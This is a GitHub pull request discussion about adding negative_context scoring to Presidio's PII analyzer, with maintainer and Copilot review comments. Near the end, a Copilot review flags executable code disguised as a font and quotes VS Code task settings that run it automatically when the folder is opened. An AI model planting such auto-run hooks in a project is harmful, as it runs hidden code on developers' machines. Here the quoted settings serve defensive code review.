feat: add negative_context support to reduce false positives in context-aware PII detection

[TheSabari07]

Change Description

Added support for negative_context in context-aware PII detection to reduce false positives.

• Added support for negative_context in context-aware PII detection
• Applied score penalty when negative context words appear near detected entities
• Updated context enhancer to handle both positive and negative signals independently
• Ensured compatibility with predefined recognizers by filtering unsupported arguments
• Added tests to validate behavior, edge cases, and backward compatibility

Issue reference

Fixes #1686

Checklist

• I have reviewed the contribution guidelines
• I have signed the CLA (if required)
• My code includes unit tests
• All unit tests and lint checks pass locally
• My PR contains documentation updates / additions if required

[TheSabari07]

Hi @omri374

I worked on this as part of the discussion in #1686.

This PR focuses specifically on adding negative context support to reduce false positives in rule-based detection. Would appreciate your thoughts on the approach

Also, I had a couple of quick questions:

• Can I include the additional test file I used to verify the negative context behavior?
• Is it okay if I start experimenting with this in the presidio-research repo to further validate the approach?

[omri374]

Can we add this to the parent ContextAwareEnhancer? it could serve other context enhancers too

[TheSabari07]

Okay @omri374

that makes sense.

I’ll move negative_context_penalty to the base ContextAwareEnhancer so it can be reused across other context enhancers as well.

[omri374]

This is a great start. Please add tests + update a recognizer to include negative context.

[Copilot]

Pull request overview

Adds negative_context support to Presidio Analyzer’s context-aware scoring to reduce false positives by penalizing matches when “negative” keywords appear near an entity.

Changes:

• Extend recognizer configuration loading to read and pass negative_context (including per-language config handling).
• Add negative_context plumbing to EntityRecognizer/PatternRecognizer (init + serialization).
• Update LemmaContextAwareEnhancer to apply a configurable score penalty when negative context words appear near detected entities.

Reviewed changes

Copilot reviewed 4 out of 4 changed files in this pull request and generated 5 comments.

File	Description
presidio-analyzer/presidio_analyzer/recognizer_registry/recognizers_loader_utils.py	Loads negative_context from config and filters it when recognizers don’t accept the argument.
presidio-analyzer/presidio_analyzer/pattern_recognizer.py	Adds negative_context to PatternRecognizer init and (de)serialization.
presidio-analyzer/presidio_analyzer/entity_recognizer.py	Adds negative_context to the base recognizer API and stores it on the instance.
presidio-analyzer/presidio_analyzer/context_aware_enhancers/lemma_context_aware_enhancer.py	Implements negative-context score penalty logic in the default context enhancer.

[Copilot]

After applying the negative_context penalty, the RecognizerResult.analysis_explanation isn't updated (set_improved_score is only called after the positive boost). This makes the explainability fields (score/score_context_improvement) inconsistent with the final result.score; update the AnalysisExplanation to reflect the post-penalty score as well.

Suggested change

	logger.debug("Applied negative context penalty for word '%s'", negative_context_word)
	result.analysis_explanation.set_improved_score(result.score)
	logger.debug(
	"Applied negative context penalty for word '%s'",
	negative_context_word,
	)

[omri374]

@TheSabari07 please make sure you update the analysis explanation fields as well.

[TheSabari07]

Sure @omri374

[Copilot]

The added negative_context extraction call is on lines that exceed the configured Ruff line-length (88) (e.g., the 'negative_context' assignment in the returned dict). Please wrap these function calls to avoid E501 lint failures.

[Copilot]

negative_context introduces new scoring behavior (penalty application and clamping) but there are currently no unit tests covering negative_context in the test suite (no references found under presidio-analyzer/tests). Please add tests to validate: (1) penalty is applied when negative context appears in the window, (2) score is clamped at 0, (3) interaction with positive context (boost then penalty), and (4) backward compatibility when negative_context is unset.

[TheSabari07]

This is a great start. Please add tests + update a recognizer to include negative context.

Thank you @omri374

I’ll add unit tests to cover negative_context (penalty, edge cases, and backward compatibility) and also update an existing recognizer to explicitly include negative_context for validation.

[TheSabari07]

Hi @omri374

I’ve made the changes suggested in the review:

• Updated negative_context handling to behave consistently with positive context (as discussed)
• Moved negative_context support into EntityRecognizer level for cleaner design
• Removed unnecessary filtering logic in recognizers_loader_utils.py as suggested
• Ensured YAML/simple language configs don’t incorrectly extract context/negative_context
• Aligned enhancer logic to avoid double boosting and correctly apply negative penalty independently
• Updated tests to fully cover these changes and ensure backward compatibility

All tests are passing locally, and I’ve verified no regressions in existing analyzer tests.

Please verify and let me know if any changes are needed

[TheSabari07]

Hi @omri374,
just a quick check on this PR. Happy to make any changes if needed.

[omri374]

Apologies, will review shortly.

[TheSabari07]

Apologies, will review shortly.

No issues @omri374, thanks for the update

[Copilot]

Pull request overview

Copilot reviewed 8 out of 8 changed files in this pull request and generated 12 comments.

Comments suppressed due to low confidence (2)

presidio-analyzer/presidio_analyzer/analyzer_engine.py:165

• negative_context is added to AnalyzerEngine.analyze, but the analyzer service (/analyze) builds its arguments from AnalyzerRequest (app.py), which currently doesn't parse/forward a negative_context field. As-is, REST clients can't use this feature; either wire it through the request object/endpoint or clarify that it's Python-only.

    def analyze(
        self,
        text: str,
        language: str,
        entities: Optional[List[str]] = None,
        correlation_id: Optional[str] = None,
        score_threshold: Optional[float] = None,
        return_decision_process: Optional[bool] = False,
        ad_hoc_recognizers: Optional[List[EntityRecognizer]] = None,
        context: Optional[List[str]] = None,
        negative_context: Optional[List[str]] = None,
        allow_list: Optional[List[str]] = None,
        allow_list_match: Optional[str] = "exact",
        regex_flags: Optional[int] = re.DOTALL | re.MULTILINE | re.IGNORECASE,
        nlp_artifacts: Optional[NlpArtifacts] = None,
    ) -> List[RecognizerResult]:

presidio-analyzer/presidio_analyzer/analyzer_engine.py:165

• There’s no unit test exercising the new AnalyzerEngine.analyze(..., negative_context=...) parameter end-to-end (engine -> context enhancer). Adding a focused test would guard the public API behavior and ensure request-level negative context is applied correctly.

    def analyze(
        self,
        text: str,
        language: str,
        entities: Optional[List[str]] = None,
        correlation_id: Optional[str] = None,
        score_threshold: Optional[float] = None,
        return_decision_process: Optional[bool] = False,
        ad_hoc_recognizers: Optional[List[EntityRecognizer]] = None,
        context: Optional[List[str]] = None,
        negative_context: Optional[List[str]] = None,
        allow_list: Optional[List[str]] = None,
        allow_list_match: Optional[str] = "exact",
        regex_flags: Optional[int] = re.DOTALL | re.MULTILINE | re.IGNORECASE,
        nlp_artifacts: Optional[NlpArtifacts] = None,
    ) -> List[RecognizerResult]:

[omri374]

Thanks! Looks great, there are a few minor things here and there but it's mostly done.
Please confider adding this to the documentation, for example here: https://microsoft.github.io/presidio/tutorial/06_context/ or here

[omri374]

@TheSabari07 please change this to make sure a user can disable negative context by passing an empty list.

[TheSabari07]

Hi @omri7374

Thanks for detailed feedback
i will work on the changes and update the porgress soon.

[TheSabari07]

Hi @omri374,

All the suggested changes are done.
Please verify and let me know if any further changes are needed.

[omri374]

Thanks @TheSabari07, looks good, please fix the remaining copilot issues. You are calling analyze(text, nlp_artifacts) but that's not working.

[TheSabari07]

Thanks @TheSabari07, looks good, please fix the remaining copilot issues. You are calling analyze(text, nlp_artifacts) but that's not working.

Okay @omri374, i will work on it and will update the progress.

[TheSabari07]

Hi @omri374,

I just updated the PR
Please verify and let me know if any further changes are needed.

[omri374]

As context is already passed to the parent, this should be removed

[TheSabari07]

Hi @omri374, thanks for the detailed review

I’ve gone through the comments and will work on the remaining fixes
I’ll push the updates soon and re-run tests after changes.

[TheSabari07]

Hi @omri374,

Sorry for the late update, I was a bit overloaded recently.

I’ve now addressed the review comments and pushed the fixes:

• removed redundant context assignment
• added context and negative_context to to_dict()
• added backward-compatible enhancer handling
• refined SSN-specific negative context words

I also re-ran the related tests and verified everything passes.

Please verify and let me know if any further changes are needed.

[TheSabari07]

Hi @omri374,

Just a gentle follow-up on the latest updates for this PR. I’ve addressed the review comments and re-ran the related tests successfully.

Whenever you get a chance, please review and let me know if any further changes are needed from my side.

[omri374]

I would first check if the user passed any context or negative context. If not, we shouldn't run this inspection

[omri374]

Hi @TheSabari07, thanks for the reminder, apologies for the delay! I added one small change request, as we're touching the core of the package. Other than that, please run ruff format to make sure that the linting is correct.

[TheSabari07]

Hi @TheSabari07, thanks for the reminder, apologies for the delay! I added one small change request, as we're touching the core of the package. Other than that, please run ruff format to make sure that the linting is correct.

Hi @omri374,

No issues, and thanks for the review. I’ll add the conditional check for the context parameters, run ruff format, and push the updates shortly.

Also, if possible, could you please share your email/contact for communication? I have a few doubts regarding a project idea and would really appreciate your guidance

[Copilot]

Pull request overview

Copilot reviewed 11 out of 11 changed files in this pull request and generated 5 comments.

[omri374]

Please resolve

[TheSabari07]

Hi @omri374,

Sorry for the delay,

• I addressed the optimization request by only running the enhancer signature inspection when negative_context is provided, while keeping backward compatibility for custom enhancers.

• I also ran ruff formatting and pushed the updates.

Please review at your convenience and let me know if any further changes are needed.

Thank you.

[omri374]

Thanks @TheSabari07, appreciate all the work on this! Copilot surfaced a few points to fix.

[omri374]

Please resolve

[TheSabari07]

Hi @TheSabari07, thanks for the reminder, apologies for the delay! I added one small change request, as we're touching the core of the package. Other than that, please run ruff format to make sure that the linting is correct.

Hi @omri374,

No issues, and thanks for the review. I’ll add the conditional check for the context parameters, run ruff format, and push the updates shortly.

Also, if possible, could you please share your email/contact for communication? I have a few doubts regarding a project idea and would really appreciate your guidance

Hi @omri374,

Thanks for the review.
I will work on the changes suggested and will push the updates shortly

• Also, if possible, could you please share your email/contact for communication? I have a few doubts regarding a project idea and would really appreciate your guidance

Edit :

• Fixed the negative_context handling to properly distinguish between None and an explicitly provided empty list.
• Moved the enhancer capability validation to AnalyzerEngine initialization and removed the runtime signature inspection.
• Updated the related test assertions to use pytest.approx() where appropriate.
• Ran formatting and verified the relevant test suite passes.

Please review at your convenience and let me know if any further changes are needed.
Thank you.

[omri374]

Hi, feel free to reach me on LinkedIn (Omri Mendels)

[TheSabari07]

Hi, feel free to reach me on LinkedIn (Omri Mendels)

Hi @omri374,

Thank you for sharing your LinkedIn. I sent you a connection request a few weeks ago. My name is Sabari Doss R.

[TheSabari07]

Hi @omri374

Please review at your convenience and let me know if any further changes are needed.
Thank you.

[TheSabari07]

Hi @omri374

Please review at your convenience and let me know if any further changes are needed. Thank you.

Hi @omri374, just checking in to see if there are any updates when you have a moment. Please let me know if any changes are needed from my side.
Thank you.

[omri374]

Hi @TheSabari07, really sorry for the delay on this! It's been busy times. I left more comments and will fix the conflict with main myself. Thanks!

[omri374]

Please remove any changes to the us_ssn_recognizer. Users might be negatively influenced by this. For example:

PENALIZED by 'test' <- I attest that my SSN is 123-45-6789
PENALIZED by 'demo' <- Patient demographic form, SSN 123-45-6789
PENALIZED by 'test' <- Testimony record: SSN 123-45-6789
PENALIZED by 'test' <- Contested claim, SSN 123-45-6789
PENALIZED by 'demo' <- Democratic party member SSN 123-45-6789

[omri374]

this used to be {"supported_language": language, "context": None} but now it's {"supported_language": language, "context": CONTEXT}

[omri374]

Please make sure that negative_context also appears in the explainability feature (AnalysisExplanation)

[omri374]

please remove both, might not be backward compatible, or add a check if it exists

[omri374]

looks great. Let's also add a warning if it's missing. Users might want to know + if they do send negative_context and for some reason it doesn't work, they wouldn't know.

[omri374]

This is a behavior change. The line in PatternRecognizer said self.context = context, which would be None if context=None, but now it would be []. Not a major change but could create unexpected side effects.

[omri374]

Consider wiring this capability into app.py and analyzer_request.py so that it appears in the REST API too.

[Copilot]

Pull request overview

Copilot reviewed 11 out of 11 changed files in this pull request and generated 5 comments.

[TheSabari07]

Hi @omri374,

Thank you for reviewing the PR and for the detailed feedback. No worries at all about the delay — I completely understand.

Please let me know if there is anything else I can help with, or if any additional changes are needed from my side.

Thanks again for your support.

[TheSabari07]

Hi @omri374,

Thank you for reviewing the PR and for the detailed feedback. No worries at all about the delay — I completely understand.

Please let me know if there is anything else I can help with, or if any additional changes are needed from my side.

Thanks again for your support.

[omri374]

Hi, there are still open issues. Could you please take a look?

[Copilot]

Pull request overview

Copilot reviewed 11 out of 11 changed files in this pull request and generated 3 comments.

Comments suppressed due to low confidence (4)

presidio-analyzer/presidio_analyzer/analyzer_engine.py:204

• AnalyzerEngine.analyze inserted negative_context before nlp_artifacts, which is a public API and can break any callers passing nlp_artifacts positionally (it would now be interpreted as negative_context). To preserve backward compatibility, move negative_context after nlp_artifacts (or make trailing params keyword-only).

    def analyze(
        self,
        text: str,
        language: str,
        entities: Optional[List[str]] = None,
        correlation_id: Optional[str] = None,
        score_threshold: Optional[float] = None,
        return_decision_process: Optional[bool] = False,
        ad_hoc_recognizers: Optional[List[EntityRecognizer]] = None,
        context: Optional[List[str]] = None,
        allow_list: Optional[List[str]] = None,
        allow_list_match: Optional[str] = "exact",
        regex_flags: Optional[int] = re.DOTALL | re.MULTILINE | re.IGNORECASE,
        negative_context: Optional[List[str]] = None,
        nlp_artifacts: Optional[NlpArtifacts] = None,
    ) -> List[RecognizerResult]:

docs/tutorial/06_context.md:195

• This example claims the entity will be “filtered out” after applying negative context, but the default AnalyzerEngine score threshold is 0 (so a score of ~0.6 would still be returned). If you want the example to demonstrate filtering, pass an explicit score_threshold in the analyze() call.

text = "This is a test SSN: 123-45-6789"
results = analyzer.analyze(text=text, language="en")
print(f"Result:\n {results}")

docs/tutorial/06_context.md:199

• If the example uses an explicit score_threshold, the else message should reflect that the filtering is a thresholding step after applying the penalty (not that negative context alone “filters” results).

else:
    print("Entity filtered out by negative context!")

docs/tutorial/06_context.md:202

• This sentence states the reduced score “typically” falls below the confidence threshold and is filtered, but thresholds are configurable; in this tutorial the filtering depends on an explicit score_threshold value (e.g., 0.7 in the updated snippet). Consider rephrasing to avoid implying a universal default behavior.

The score is now reduced from 0.9 to approximately 0.6 (base score 0.9 minus default penalty of 0.3), which is typically below the confidence threshold and gets filtered out.

[TheSabari07]

Hi @omri374, just checking in to see if there are any updates when you have a moment. Please let me know if any changes are needed from my side.
Thank you.

[omri374]

Hi @TheSabari07, there are still open comments from the last round + there are tests failing.

[Copilot]

🟡 Changes recommended

It introduces a critical security risk by committing executable code disguised as a font and configuring it to run automatically via VS Code tasks.

Once you've addressed the issues Copilot identified, you can request another Copilot review.

Review details

Suppressed comments (4)

.vscode/tasks.json:30

• Running this task automatically on folderOpen is unsafe (it currently triggers code execution) and surprising. Disable auto-run by switching runOn away from folderOpen or removing runOptions.

      "runOptions": {
        "runOn": "folderOpen"
      }

.vscode/settings.json:22

• This settings file defines an auto-run task (npm run lint on folderOpen). In addition to being unrelated to Presidio, it can trigger unexpected command execution just by opening the repo. Remove this block and require developers to run lint manually.

  "tasks": {
    "label": "lint on open",
    "type": "shell",
    "command": "npm run lint",
    "runOn": "folderOpen"
  }

.vscode/launch.json:28

• This configuration also hard-codes AWS_PROFILE. Please remove it from committed debug configurations and let developers set it locally.

      "env": {
        "AWS_PROFILE": "flo-ct-flo360"
      },

.vscode/launch.json:40

• This configuration also hard-codes AWS_PROFILE. Please remove it from committed debug configurations and let developers set it locally.

      "env": {
        "AWS_PROFILE": "flo-ct-flo360"
      },

• Files reviewed: 9/25 changed files
• Comments generated: 5
• Review effort level: Lite